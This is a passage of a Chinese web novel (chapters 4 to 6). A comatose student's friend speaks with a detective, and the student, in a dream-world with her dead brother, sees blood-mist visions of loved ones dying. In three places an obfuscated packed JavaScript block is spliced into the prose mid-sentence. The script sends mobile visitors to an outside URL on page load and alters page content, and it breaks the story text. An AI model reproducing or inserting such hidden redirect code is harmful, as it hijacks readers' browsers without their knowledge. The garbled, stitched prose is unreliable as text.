弟弟的话她听到一半就绷不住了,强撑到喉咙和眼眶都生疼,眼泪还是没忍住掉下。 弟弟走过来抱住她,像从前她无数次抱住他那样。 窗外一阵风吹过,一幅画被吹落到岑旭湖脚边。 弟弟歪头去看。 画上姐姐捧着掏出的心脏放在他空洞的心口,从姐姐心口流出的血淌了满地。两个人站在血红色的小河里,脸上都带着笑。 他抬脚踩住,画纸在他脚下慢慢碎裂成一地灰尘,被风一吹就散了。 他爱姐姐。 可是这幅画不能让她看到。 4. 现实世界 荣城中心医院住院部十四层,电梯门叮一声打开。 一个身着长裙的女孩从里面匆匆跑出来,湖蓝色的长裙裙摆随着她的步履摇曳,像是水面上荡起的圈圈涟漪。 她高挑纤丽,不施粉黛的眉眼精致如画,只是眼底下布着淡淡的青黑色,脸上是掩不住的疲惫。 快步走向第一间病房,她透过病房门上的玻璃房向内看,只一眼便匆匆离开,移向下一间病房。 连着看了四五间病房后,她长长地吐出一口气,似乎有些失望,跺了下脚,视线无意间向走廊尽头瞥了一眼,尽头的病房门前站着两个警察。 他们两个从她刚出电梯门就已经盯着了,眼看她在原地顿了一下后,竟然立刻向这边走过来。 其中一位警察上前拦住她,“女士,请您止步。” 她的目光越过警察,停在最后一间病房,“里面是岑旭湖吗?” 两个警察对视一眼,回答她,“不便透露,请您离开。” 她却仿佛没听到般,后退了两步靠在墙上,浑身力气像是被耗尽了。 闭上眼安静了差不多半分钟,她才手撑着墙壁站直,从包里拿出身份证出示给两位警察。 “我叫云桦,我要见你们领导。” “这不可能。” 云桦的目光一下子凌厉逼人,她拿出手机,随便打开一个社交软件,里面关于氢大校门口事件的讨论铺天盖地。 氢大学生杀人、氢大校门口砍人、亲生父母勒索敲诈,任何一组关键词拿出来都相当炸裂,更别说还有现场围观众人发布的全方位各角度视频。 纸板上触目惊心的红字、面目狰狞的父母、沾满鲜血的刀、倒在血泊里的大学生、见义勇为的受害者,每条视频都让人毛骨悚然。 各种猜疑和情绪一遍遍覆盖住“岑旭湖”这个名字,这个普普通通的大学生一时间成了全国人茶余饭后热议的焦点。 “从事件发生到现在已经两天了,舆论还是这个样子,你们的调查是不是没有进展?王三是个王八蛋他不可能说实话,徐二娟是个哑巴想说也说不了,我告诉你,现在全世界只有我了解全部事情。如果你们不想被舆论架在火上烤,想尽快结案的话,最好听我说说真相。” 云桦这番话说得掷地有声,俨然一副将局面尽在掌控的气势。 走廊里一时静寂无声。 半晌,离她最近的警察走去窗边打了个电话,挂断电话后,他将岑旭湖带去了五楼医生休息室。 临走前,云桦想走近病房向里看一眼,可警察催得急促,她硬是将目光从那道门上撕下来,还是跟了上去。 * “你好,李良。” 医生休息室里,荣城公安局刑侦支队副队长李良向云桦出示了自己的证件。 他刚才正好在向主治医生询问岑旭湖的病情,接到同事的电话便让医生给他安排了个休息室。 “云桦。” 李良没有立刻询问案情,他风轻云淡地坐在医生的办公椅上,将云桦身份证上的信息默默记下。 看着面前镇定的女孩,李良微微一笑,将身份证还给她。 “其实我一直有个小疑问,可能和案情无关,你就当我好奇心旺盛吧。” 他语调轻松,半点没有要案负责人该有的紧张。 云桦等着他的下文。 “王三和徐二娟的女儿,却叫岑旭湖,无论是姓氏还是起名风格,都不像是亲生的,这是怎么回事?” “岑旭湖改过姓名。”云桦回答。 “民法典规定自然人就算改名也应当随父姓或者母姓。”李良看着对面的人,补充了一句,“当然了也有例外情况,但据我所知在实际执行过程中,基本都会依据这项规定。” “你也说了是基本。”云桦神情很淡,“总有例外。” 李良一脸好奇,“那么岑旭湖的例外情况是什么呢?” “这和案情有什么关系?” “我说了是我个人的好奇心啊,”李良笑得温和,“你知道这件事闹得有多大吧,唉压力大得很,所以你就当做是和我聊聊天吧,咱们都轻松点。” 云桦性格直爽,所以她直接白了李良一眼。 真八卦。 “王三和徐那两个人重男轻女不配为人父母,他们差点毁了岑旭湖。”云桦说。 李良点点头,和他猜想的一样,“这样顶多算是情理,于法理不合。” “总有法理管不到的地方。”云桦脱口而出。 是了,李良手指在桌子上敲了一下,云桦说出了这个案子的背景。 岑旭湖从小到大受到的伤害,就是法理管不到的地方。 氢大校门口事件案发当晚,局里在对王三进行审讯的同时,给岑旭湖家乡所在地打了电话。 电话一层层打下去,一层层转接,直到被狗牙村村长接通,对面才支支吾吾地回答了来自荣城的发问。 ——是吧,好像是死了个男娃娃,很多年以前的事情了。对对对,都说是那家的姐姐把弟弟引到老房子下面砸死了,不不我不知道,是村民他们都这么说。具体有没有人看见呢这个问题,这怎么说呢,那家的爹娘都说是姐姐干的,人家爹娘都这么说了,是吧,是吧。 ——证据?哈,哈,领导,那个时候不兴监控什么的,证据这个确实是没有。 荣城公安局拉出了岑旭湖入学以来的通话记录,除了有几个国际通话,还发现了从狗牙村打来的电话,其中两三个的机主正是村长本人。关于这个,对面是这样回答的。 ——打过吗,可能吧。领导啊,这个这个在我们这里很普遍,因为乡下人嘛是吧,都不识字,也不会说话,紧张,胆子小,打电话怵得很,所以有时候他们都会让我们这些领导班子帮忙打,你知道吧,是吧,都不容易。 ——具体说了啥?哎呦真记不清了,不过应该也就是那些话,在外面吃的好不好啊有没有受欺负啊,都是这些。要钱?这绝对不可能领导,天底下哪有当爹娘的伸手问娃娃们要钱的,是吧,啊。 问不出什么。 局里当晚就派了同事赶往狗牙村,一路舟车辗转风尘仆仆赶到时,已经是案发后一天半了。 他们装作是进村卖米的,混进路边唠嗑的大爷大妈堆里,借着最近的新闻打听当年的事情,谁知道那些上了年纪的人反应都很一致。 ——怎么会不知道呢,那一家子说句不中听的,邪性得很。媳妇一嫁进来就把婆婆克着了,多利索个老人啊,第二年就瘫痪。然后那家那个闺女,生下来不会哭,黑溜溜的眼珠子盯着人看,把老马媳妇吓得过了这么多年还再提这茬呢。哦老马媳妇就是给那闺女接生的。好容易盼到个儿子吧,长得浓眉大眼的,但是啊,心眼子多。 ——是,死的那年是才六岁,但老话都说了,三岁看老。别看那孩子小,精明着呢。我怎么知道?我孙子的门牙就是被那小崽子坑掉的。那小猢狲很会装乖讨巧,看着是个小可怜,其实一肚子坏水。当年跑到我面前哭着让我原谅他,说自己没有把大哥哥保护好,害大哥哥从树上掉下去了,但其实你猜怎么着,后来我们发现我孙子就是被他从树上推下去的。为什么推?啊那,那不知道,小孩子打闹呗。 ——对,是他姐姐把他砸死的。有人看见没?应该有吧,肯定有。他爹娘都这么说了,那就肯定是这样。还有啊,再跟你说个事儿,那家的姐姐是个邪乎东西,会喝人血吸人气运的。你是不是笑了?别不信啊。他家出事之后,那丫头靠近哪家,哪家就倒霉,非得泼一盆子狗血或者点个火盆,才好转呢。 ——看你们小伙子长得面善才和你们说的,可别往外传啊。 李良在荣城听完同事绘声绘色的汇报,脑壳都大了。 不过他们还有点别的收获。 岑旭湖弟弟去世后没过多久,她就去上学了,甚至王三还拿到了一笔钱。 当然在村民口中这也是岑旭湖吸人气运的表现,毕竟弟弟死了她才有机会去上学,可不是她吸走了弟弟的气运吗。 同事们马不停蹄赶到了岑旭湖上学的学校,没费多大功夫就打听出了非常关键的信息。 当初王家出事后,有位老师赶到了岑旭湖家,用每月给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055754|149200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王三几百块钱的交易,换来了岑旭湖上学的机会。 从那以后岑旭湖才开始念书,从十岁到十八岁,从小学到高中,一直都是那位老师在照顾她。 同事拍下了学校教师墙上的照片,其中一位眼神慈蔼面容干练的老师被圈起来,照片下面有老师的名字。 岑秀。 “岑,秀?”李良心里一动。 “是的,”同事知道李良的意思,“老师姓岑。” “你们没向她询问岑旭湖的情况?” “靠你了老大。” 同事声音里透着疲惫,“校长说岑老师已经去荣城了,算算时间,刚好和我们错开,她是去找岑旭湖的。” 所以医院里,李良忽然接到看守病房的同事的电话,还以为是岑老师赶到了医院。 没想到却见到了一位厉害的年轻姑娘。 云桦坐在李良对面,双手抱臂看着他,“李队长,你不愧是队长。” 李良笑笑,“问个名字而已,放轻松。看你样子好像挺关心岑旭湖的,那怎么现在才来找我们呢?” 都案发两天了,要不是岑旭湖还昏迷着,此刻她已经在监狱里吃牢饭了。 云桦想当关键证人,就凭这效率能直接把嫌疑人害死。 云桦摇摇头,她何尝不想快点再快点,只是隔着十五个小时的时差,所有的心事和焦灼都落了一层时间的薄灰。当岑旭湖独自一人面对铺天盖地的恶意与猜疑,倒在血泊中时,她却在大洋彼岸安稳沉睡。 “我刚从国外回来。” “国外?” 云桦从包里拿出机票,那是从国外中转一次后抵达荣城的两张机票。飞行全程三十多个小时,落地时间是刚过去的五个小时前。 算算时间,氢大校门口事件发生当晚,云桦就立刻定好机票回国了。 她拿机票的时候带出了工作证,这种无意间掉落的物件李良是绝对不会放过的,他替她捡起的同时,迅速看完了这张工作证。 她是全球知名互联网公司的高级算法工程师。 李良在心里默默总结着这位不速之客的特征。 ——初次面对刑侦队长没有丝毫紧张的年轻人,能在国际顶尖公司上班的高学历优秀人才,拥有抛下一切说回国就回国的财力和魄力,浑身上下没有首饰,脸上也没有妆容,却能让人感觉到她的气势。 “你不是岑旭湖的亲人吧?” 云桦说:“我们没有血缘关系。” “那么你和岑旭湖是怎么认识的?” “我不想说,和案件无关。” “好,那你说说,你为什么会了解她的事情?” 云桦的肩膀终于不再那么绷直,她摩挲着手里还没收起的机票。 这张已经被她摩出毛边的纸,见证了她跨越两个洲的焦灼不安。 “我认识她三年,这三年时间里我和她朝夕相处了整整一年半,我们对彼此毫无保留。”她轻声说。 李良看着她,从业几十年的经验告诉他,面前人没有撒谎。 “好,那你告诉我,关于她和她的弟弟,她的家庭,真相是什么。” 真相其实很简单。 归根到底就是三个字,不在乎。 王三和徐二娟作为父母,把岑旭湖当牲口,当工具,当发泄情绪的垃圾桶,等她长大了,就把她当会冒出金子的摇钱树。 至于岑旭湖是死是活,无所谓,他们不在乎。 当年的那场意外之灾,岑旭湖是哭着给她讲的。 讲完两个人都喝了点酒,在深夜抱头痛哭,哭到连岑秀都被惊动了,披着外衣匆匆赶来,一左一右把俩孩子搂怀里,自己也偷偷抹泪。 “谁都不想让那件事情发生,但没有人需要为意外承担这么深重的责任。”云桦说。 李良没表态。 他沉默了一会儿,让云桦留下联系方式,告诉她有事再联系。 云桦没走,她的脸上第一次露出了软弱,拉住李良衣服,语气里有祈求。 “你的同事不让我见她,李队长,求你,我要见我妹妹。” 5. 异常病变 云桦重新来到十四层,医生跟在她身边,打开病房门前深深地看了她一眼。 云桦原本没理解那一眼的意思,却在看清病床上的岑旭湖时,全明白了。 病床两边架着硕大的机器,好像两堵即将并拢的墙,留下的一线空间只能够通过一缕风。 岑旭湖就躺在那窄窄的一道缝隙里,从机器上延伸出的线路包裹住她的大脑和身体,它们看上去像是粗细不一的管道,正在抽干岑旭湖的生命。 机器的监视屏上数字一片赤红,曲线没什么起伏。云桦看不懂,心脏沉到了无名深渊。 她像看救命稻草般看向身旁的医生,主治医生的眼神悲悯苍凉,他开口要说话,云桦已经等不及走进去了。 越靠近病床上的岑旭湖,越能明白情况有多糟糕。 岑旭湖整张脸毫无血色,紧紧闭着的双眼没有一丝苏醒的迹象,她躺在那里,就像已经…… 云桦伸出手想碰碰她,甚至不知道手指落到何处才不会弄伤她。 怎么会这样? 云桦懵了。 在回国的这三十多个小时,她一遍遍刷新着各个社交软件上的视频和图片。 心里既恨他们丝毫不顾忌当事人的隐私和情绪,竟然堂而皇之地将她的难堪屈辱发到网络上供人谈论围观。 一边却又感激他们,让自己看到了那个时候的岑旭湖。 她强忍着恐惧,逼自己看清楚最致命的瞬间,经过反复判断后,她确定王三捅向岑旭湖的只是一刀。 那一刀捅在胃部。 当她把视频放大截图发给自己的医学朋友后,对方言之凿凿地告诉她,只要不是失血过多,就没事。 在联系不上岑旭湖的三十多个小时,她就是靠着这句没事撑下来的。 可是为什么结果会这么严重? 医生走上前,和云桦一起看着病床上昏迷不醒的岑旭湖,他的胸牌上显示是脑科主任。 身为全国顶级的脑科专家,他经手的病人不计其数,疑难怪症也不是没接触过,但万变不离其宗,抽丝剥茧总能理清楚病理对症下药。 可岑旭湖太奇怪。 “病人的刀伤基本无碍,按理说因失血和伤口引发的昏迷一般都会在救治当天清醒,但是当晚病人一直没醒。考虑到情况特殊,我们立刻给她做了全面检查,然后就发现病人的脑部出现了异常病变。” 医生拿出岑旭湖的脑部拍片,这张片子异常到云桦一个完全不懂医学的人,第一眼就能看出不对。 “肿瘤也好,癌变也好,都是有形的黑影,我们可以根据位置形状判断严重程度。但是你可以看到,这块,”医生指着片子的两个地方,“海马区和部分颞叶,这两块简单来说主要负责短长期记忆储存。” 那里一片透明。 云桦不明所以,这完全超出了她的认知体系,她只觉得惊悚。 “……空了?” 医生纠正她的说法,“是异常胀大。” 原本的海马区和部分颞叶异常胀大后会挤压到大脑附近功能区,看起来就像是大脑空了一块。 “我不明白……您先告诉我,会有什么后果?” 这个问题,其实医生也很想知道。 岑旭湖的脑部病变量级大速度快,放眼整个世界都没有先例,医院专家组只能根据她的躯体反应做应对措施。 她一直不醒,越来越虚弱,所以医院才给她架上了昂贵的维生系统。 “根据病变速度和她的身体状况,我的判断是最多只能撑半个月,所以还是请家属先做好最坏的打算。” 云桦的眼泪唰地掉落下来,她拽住床尾的栏杆,但是手在颤抖,身体也在发抖,她控制不住自己摔倒在地上。 沉默的病房里只能听到仪器运转的“滴滴”声,病床上的岑旭湖对眼泪毫无反应。 李良对医生点点头,小声说:“您先忙吧。” 医生离开了。 云桦在地上哭得昏天黑地。 李良站在一旁,静静看着病床上的岑旭湖和恸哭的云桦。 他见多了这样的绝望场面。 更惨烈的,更悲痛的,他都曾置身其中。 就像经验丰富的医生早已经看淡生死,他也能平静地面对一切罪恶不堪与痛苦。 他只是想不通,为什么一个乖巧懂事成绩优异的学生,要经历这么坎坷磨难的人生? 氢大在案发后第一时间就送来了岑旭湖的全部资料,里面甚至还夹杂着她的成绩单。 她今年大二,入学至今一年零两个月,两次期末考试成绩都在系里排名前五。 她的班长说找到她的时候,她正在图书馆学习。 是个非常努力的孩子。 李良走出病房,站在走廊的窗边向外看。 窗外天蓝得像片静湖,几片絮絮浮云挂在天际,自在悠然地笼罩着这片人间,好像一切都开阔而美好。 可是向下看,一辆救护车呼啸着冲出医院,救护车驶离的方向,蝼蚁般的人们正拖着一身疾病走进来。他们有白发苍苍的老人,也有尚在襁褓中的婴儿,还有正值青春的少年。 地面上的是一个个逼仄的人生。 人类太渺小了,无论是突如其来的灾难,还是不可避免的疾病,都毫无招架之力。 不过。 那又怎么样呢,日子还得过下去。 李良回头看见病房里的云桦趴在岑旭湖床边,他担心出事,便走进去。 云桦听见声音,抬起一双红肿的眼。 “用最好的设备和最贵的药吧,我要我妹妹活着。” * 天色原本晴朗,可一阵大风过后,竟渐渐阴沉下来。 岑旭湖坐在窗边,一滴雨落到她胳膊,凉凉的。 她把从河边采来的野花插进瓶里,将小瓶子伸到窗外,细密的雨点立刻打湿了花瓣,一片小小的粉色花瓣落到她手心。 她想到了云桦。 高二那年,校园里枯了好多年的其欢树突然开花,大片大片的粉蓝花朵在阳光下张扬,美得仿佛不属于这个世界。 岑老师把落地的花瓣捡回去晒干,给每个学生发一片。 她站在讲台上拈起一片花,对台下的学生们说,生命的力量远远超出我们想象,所以无论什么时候,不管发生什么,请 大家都别放弃自己,只要坚定地走下去,沿途都是奇迹。 等到满树花朵全部凋谢的时候,乡里来了一个刚毕业不久的研究生。 这个人就是云桦。 她说自己迷路了,让岑旭湖请她吃饭。 岑旭湖以为她是人贩子,因为她全身上下连件行李都没有,只是手里捏着一朵小花慢悠悠地转。 不见外。 不像个正经人。 但校长很喜欢她,因为云桦是氢大数学系的研究生,学校里刚走了一个老师,这会儿正缺高材生呢。 于是岑旭湖便留下了她,她也不怎么客气,笑眯眯地答应了,还从口袋里掏出一袋鲜花种子送给岑旭湖。 “见面礼。”她说。 岑旭湖把种子种在自己的宿舍窗边,三个月后满室茉莉花香。娇嫩雪白的小花朵,却意外的好养活。 整个高三岑旭湖在这股茉莉花香的陪伴中度过的。 后来才知道,原来云桦是来这个偏僻荒芜的地方了结自己的。 她不愿死的太孤寂,而茉莉花以血肉作肥料,能开得极旺盛。 岑旭湖想云桦了。 她把那片小小花瓣合在掌心,喃喃了一句怎么忽然下雨了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055755|149200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “姐姐!”厨房里响起弟弟雀跃的声音,“吃饭啦。” 厨房里饭菜的香味扑面而来,岑旭湖走进去,看到灶台上摆着盛好的三盘炒菜,每道菜色香味俱全。 弟弟边盛米饭,边看着她得意地笑,“怎么样,我就说我可以吧。” 岑旭湖惊讶极了,“你什么时候学会做饭的?” 刚才弟弟死活不让她进厨房,非说要给她露一手。 “不然姐姐以为我这九年是怎么过的?”弟弟说。 岑旭湖看着他小小的个子在厨房里跑来转去,心里不禁有点心疼,他也没比灶台高多少。 等到三菜一汤端上饭桌,弟弟亮亮的眼睛期待地看着她。 “快尝尝。” 岑旭湖夹了一筷子菜,不得不说,弟弟的手艺很惊艳。 “真厉害。”她夸他。 看她喜欢,弟弟忙不迭地给她夹菜,一顿饭吃得岑旭湖几乎站不起来。反观弟弟,他面前的菜似乎没动几下。 “你怎么没吃多少?” “看姐姐吃,我就很开心啦。” “是因为你不需要吃饭吗?”岑旭湖冷不丁地发问。 “啊?”弟弟收拾碗筷的动作停了下来,好奇地看着她。 岑旭湖其实不忍心伤害他,但她真的很想知道,此刻弟弟算什么。人?还是鬼? 弟弟眨巴眨巴眼睛,“我需要吃饭的,也需要睡觉,受伤了会疼,下雨了会回家,是个人。” “哦。”岑旭湖点点头。那现在的她应该也算是个人? 她跟着弟弟走向厨房,和他一起刷碗。 时间好像回到了九年前,那两个人不在家的时候,弟弟和她便会一起边聊天边做家务。 “这里九年都只有你一个人,你不觉得奇怪吗?” “还有姐姐!”弟弟伸出沾满肥皂泡的手指着她。 “我不算。” “有什么奇怪的呢,我喜欢这样。”弟弟说,“就算有其他人来了我也会把他们赶走的。” “为什么?” 弟弟停下洗碗的动作,认真地看着她,“姐姐,人心很小的,如果你的心里装了其他人,我就会消失。” “那么你现在是在我心里吗?” 岑旭湖同样停下来,认真地等着他的回答。 弟弟笑了,继而抿唇,“我当然是在姐姐心里!但是这里不在姐姐心中。” “那么这里是哪里?” 答案呼之欲出,岑旭湖有些紧张。 “是我死后又活着的世界。”弟弟拉住她的手。 “为什么你能活过来?” “因为你。” “我?”岑旭湖都不知道自己还有让人起死回生的能力。 弟弟的手指搭在她手腕上,岑旭湖薄薄的皮肤下脉搏跳动的有力。 这个来自心脏的力量既游走在她身体的四面八方,又能打破身体的桎梏,穿透时空的界限,让亡者回魂,重入生门。 “姐姐的心没有一刻不在想我,所以我活过来了。” 岑旭湖没太理清楚他话里的逻辑。 弟弟的话不符合她唯物主义的世界观,如果她以前多看过几本小说或者玄幻电视剧,或许会如他所说,相信人心的力量。 可是岑旭湖是个整天和数字打交道的理科生,她偏科非常严重,沾上需要想象力和情绪感知的阅读理解就完蛋。 哪怕备考时付出了大半时间,高考语文成绩还是把她的总分往下拉了一大截,为此岑秀还拉着她给语文老师送了一箱牛奶。 一老一少给语文老师鞠躬道歉,“对不起,孩子实在没有这个天分,让您这么多年的苦心白费了。” 岑旭湖没有一丁点浪漫主义细胞。 她不相信弟弟的话。 6. 血雾幻景 别 怕 隔天的午饭弟弟依然坚持不让岑旭湖进厨房。 她再傻,到这时候也察觉到不对劲了。 岑旭湖在院子里听着厨房里有节奏的切菜声,心想这小子这些年确实没亏待自己,厨艺锻炼的相当不错。 可是为什么不让她进厨房呢?她又不是不会做饭。 岑旭湖拿起笤帚慢慢扫着院子里的灰尘,扫着扫着,她看向手里的笤帚。 它是竹子扎的,用的久了竹骨处会有细屑倒刺,小时候她的手经常会被扎到。 但是这根笤帚被打磨得很光滑,岑旭湖用手掌从上到下捋了一遍,竟然没有一根小刺。 她再看向别处,只要刻意留心,就能发现整个家里有许多不被察觉的小细节。 窗户上露出的铁丝尖被用胶带厚厚缠住了; 院里矮墙上防贼进入的玻璃碴子上被包了花花绿绿的衣服碎布; 散落在墙角粗粝的石头隐隐反射着阳光,院门口反着光,她走过去摸了摸,每块石头表面都很光滑; 屋里四方桌的每个桌角包了颜色相近的牛皮纸。 …… 好像这个家里有什么易碎品,所以弟弟在目之所及的每个地方都细心地做好了防护。 她拉开储物的抽屉,在杂乱的物件里翻了翻,发觉竟然连一把剪刀都找不到。 “姐姐在找什么?” 身后忽然传来弟弟的声音,他带着一身油烟味站在厨房门口,手里还举着锅铲。 “噢,”岑旭湖把抽屉合上,拉了拉衣服袖子,“袖子破了我想缝一下,你知道家里的针线放哪了吗?” 弟弟刚还瞪大的眼睛弯成了小月牙,“你别管啦,等会我来就好!” “你真的不需要我帮你吗?”岑旭湖指指厨房。 “才不要,姐姐以前总是做饭,以后我要做饭给姐姐吃。”他蹦跶着跑进厨房,顺手合上了厨房门。 如果说被弟弟精心布置后的家,还有哪里最危险? 岑旭湖想了想,看向那扇合着的厨房门。 厨房里有刀,有火,还有可以变成碎片的碗,随便哪样都能让人受伤。 弟弟怕她受伤吗? 还是在她没来到这里的时候,他无师自通地学会了好好照顾好自己。 岑旭湖心里实在好奇,她迫切想知道这个世界的真实面目。 而此时唯一能想到的办法就是流几滴血,看看会不会有新的提示出现。 * 入夜。 听着不远处弟弟平稳的呼吸声,岑旭湖轻声轻脚地爬下床,披上衣服悄悄离开了房间。 夜里的家一点声音都没有,安静到可怕,好像这个世界在他们睡着时停滞了。 岑旭湖无意间抬头,窗外的月亮竟然是诡异的猩红色。 就像是…… 她想到了在图书馆里看到的夕阳,那种浓稠到化不开的血红色,和眼前一模一样。 拜小时候老家那群迷信的村民所赐,她多少知道点相关知识。 民间不祥之兆很多,其中血月为最,是比会吸人气运的她还要更不详的可怕征兆。 岑旭湖倒是不害怕。 毕竟血月和她都不详,也算是同类。 她借着银红色的血月之光,穿过客厅走去厨房。 厨房门是关着的,用力一推,“铛”一声铁锁碰撞的声音,在四下静寂的夜里格外清晰,她赶紧伸手握住铁锁。 厨房门锁住了。 从前在家时,家里没有人有锁门的意识。 这越发印证了岑旭湖的猜测,弟弟不想让她进厨房。 或者说,不想让她受伤。 她顺着墙壁走到大门口,推开门栓,悄悄离开家。 外面血月的猩红光芒越发浓烈,她感觉自己好像一脚踏进了血池里,脚下的泥土地都像是浓稠的血浆。 这样的场面里,按理说该有几声尖叫才应景,可是这片天地实在太安静了,连一声虫叫都没有。 要不是月亮周围的云层在游动,岑旭湖都怀疑时间是不是暂停了。 她沿着白天走过的路向前,印象中小河的两边种了几排树,那树的枝条上长着锋利的小刺。 很适合扎人。 耳边有河水浅浅流动的声音,眼前血红色的黑影像是一排高大的怪兽,她靠近黑影,树的轮廓在她眼前渐渐清晰。 就是这里了。 岑旭湖将食指按在一根小刺上,尖刺扎破皮肤,血珠渗出来。 她捏住手指顶端,伤口受挤压后更多的血液流出来,顺着她的手指缓缓流下。 红色月光下,鲜血和这夜色融合得毫无嫌隙。 岑旭湖盯住那滴血。 它本该滴落在地面,可是却慢慢散开了,散开的血雾比树还高大,血雾之中有黑色的暗影游动着。 欸。 血雾的面积变大了。 在氢大校门口,一滴血只能化成巴掌大小。 岑旭湖掰下一根短枝,又把手指更深地压上去,新滴出的血化成雾气,这片急速扩大的血雾越升越高连绵成片,飘到了空旷的小河之上。 它几乎延绵到了整条河流,雾气聚集又飘散,渐渐变成了四四方方的幕布形状,像是电影屏幕,只是底色血红。 岑旭湖克制着砰砰直跳的心跳,等待着从这片血雾中会呈现的景象。 血雾却迟迟不动,她干脆将尖刺在手背上划了一道,淅沥鲜血加深了小河之上的浓度。 有人影从血雾中出现。 岑旭湖捂住嘴巴不敢置信,是云桦! 云桦爱穿裙子,她穿着初见时的艳丽长裙躺在一棵大树下,周围是繁茂的高大森林。 在树丛遮天蔽日间,阳光从树叶间漏下,点点金光落在云桦苍白的脸上。 岑旭湖记得那个地点。 那天她就在树下背书,云桦忽然带着一身尘土泥巴出现,吓了岑旭湖一大跳,云桦却反怪她占了她的地盘。 “什么地盘?”岑旭湖还傻乎乎地问她。 云桦不回答,只问她这片树林是不是经常有人来,岑旭湖老实告诉她,自己会经常来这里背课文。 云桦就一脸懊恼,然后很不客气地说饿了,要岑旭湖请她吃饭。 血雾里的云桦安静地躺在树下,四肢忽然开始腐烂,继而是五脏六腑,她的血肉和身下土壤融为一体。一阵风吹过,她只剩下了森森白骨,从白骨之中开出了大片茉莉花。 明明闻不到,那熟悉的清甜味道却溢到了河流边的岑旭湖鼻尖。 她不敢相信,云桦死了? 下一秒血雾里的画面闪动,云桦从远方快速跑来,眼前是滔天火海,不顾周围人的阻拦,她义无反顾地跑进了火焰里; 画面闪动,云桦躺在病床上,床边仪器上的仪器变成一条直线,尖锐的警报声响起; 画面闪动,云桦紧张地捏着手里的机票,她拍了拍脸缓解焦灼,看向机舱外的厚厚云层,砰,飞机爆炸; …… “停!停下来,我不看了。”岑旭湖害怕了。 她弯下腰强忍着剧烈的头痛,不能接受短短时间里云桦死了这么多次。 就好像上天在拍摄一部云桦的死亡电影,给她设计了一个又一个惨烈的结局,看得岑旭湖心如刀割。 可是眼前血雾里的景象并没有停。 它继续吸收着岑旭湖的血液,为她播放铺天盖地的影像。 这次是她的恩师,岑秀。 岑老师被人在脑袋上狠狠敲了一榔头,脑浆流了一地; 岑老师背着包脚步匆匆,刚抬起胳膊和远处的人打招呼,一辆车从对面开过来; 岑老师在讲台上讲课,脚下地面裂开,她大喊一声护住了最近的一个学生,掉落的天花板砸在她身上; …… 岑旭湖不知不觉泪流了满面,她把手指在衣服上擦了又擦。 “我不要看了,快点停下来啊……” 她后悔了,大晚上就应该睡觉,为什么偏要被好奇心支配,非要搞清楚真相。 可是这个世界产生幻象却不需要太多鲜血,她已经给予的就足够,所以哪怕她将衣角将伤口紧紧包住,不远处的小河里还是有挥散不去的倒影。 她自己出现在了上面。 和云桦岑老师都不一样,她没有一遍遍死去。 血雾中出现一座古雅的湖心亭,岑旭湖一眼就认出来,那正是氢大旁边的镜湖心亭。 天边胭脂似的红云投影进粼粼湖面,摇曳的水光映进她眼中。 不,是她们眼中。 无数个一模一样的岑旭湖站在湖心亭中,眼里盛着同一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055756|149200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇晃的湖水,继而全部一齐抬头,都望着上空那片猩红的天。 等到头顶的猩红色逐渐加深,暮色沉下来,笼罩住那方诡异的亭子。 亭中的岑旭湖们抬脚向前,像是接到指令的机器人般,一个接一个跳进了湖里。 ! 小河边,岑旭湖后背已经湿了一层,她原地打了个寒颤,想要尖叫却发现自己已经害怕到发不出声音了。 周围依旧安静得可怕,四下静寂漆黑,好像她正置身于坟茔之中。 她捡起地上的一块石头,扬手丢向了河面上面的血雾幻影,想把那上面可怕又不合常理的画面砸碎。 石块正中血雾中心,像是被投进了湖水之中,血雾上的画面泛起涟漪,随即“扑通”一声响,石头掉进了小河里。 而小河上的血雾随着涟漪的晃动,不再是一片完整的“幕布”,它碎裂成了许多小块。 每一个小块里都有一个跳进湖里的岑旭湖,她们掉进了云桦和岑老师的“死亡电影”里,在不同的场景下眼睁睁地看着 她们死亡。 地震、山崩、海啸、火山、车祸……她在“死亡电影”的一幕幕场景中到达世界的不同角落,无数的城市和人们化成灰烬。不同的时间地点,她都救不活他们,于是她开始崩溃,嚎啕大哭,继而心如死灰。 血雾里,无数个岑旭湖沉寂下来,她们顶着绝望凄凉的眼神齐刷刷地看向前方,和小河边已经傻眼的岑旭湖对视。 炙热的红光映进岑旭湖眼中。 血雾里的她们开始燃烧,身体化成了明亮的火炬,在火光之中,她的四肢骨骼渐渐变成了一个个笔画,潦草的文字又出现了。 ——别怕我们是 这句话没有写完,血雾里的光亮却忽然高频率地闪动了几下,然后文字迅速消失,下一秒血雾全部散开,没有留下一丝痕迹。 好像岑旭湖做了一场可怕的梦。 她跪在小河边,整个世界安静到仿佛死去。 想呼吸,胸口却像是被堵住了,她按着心脏的位置,努力提起一口气。 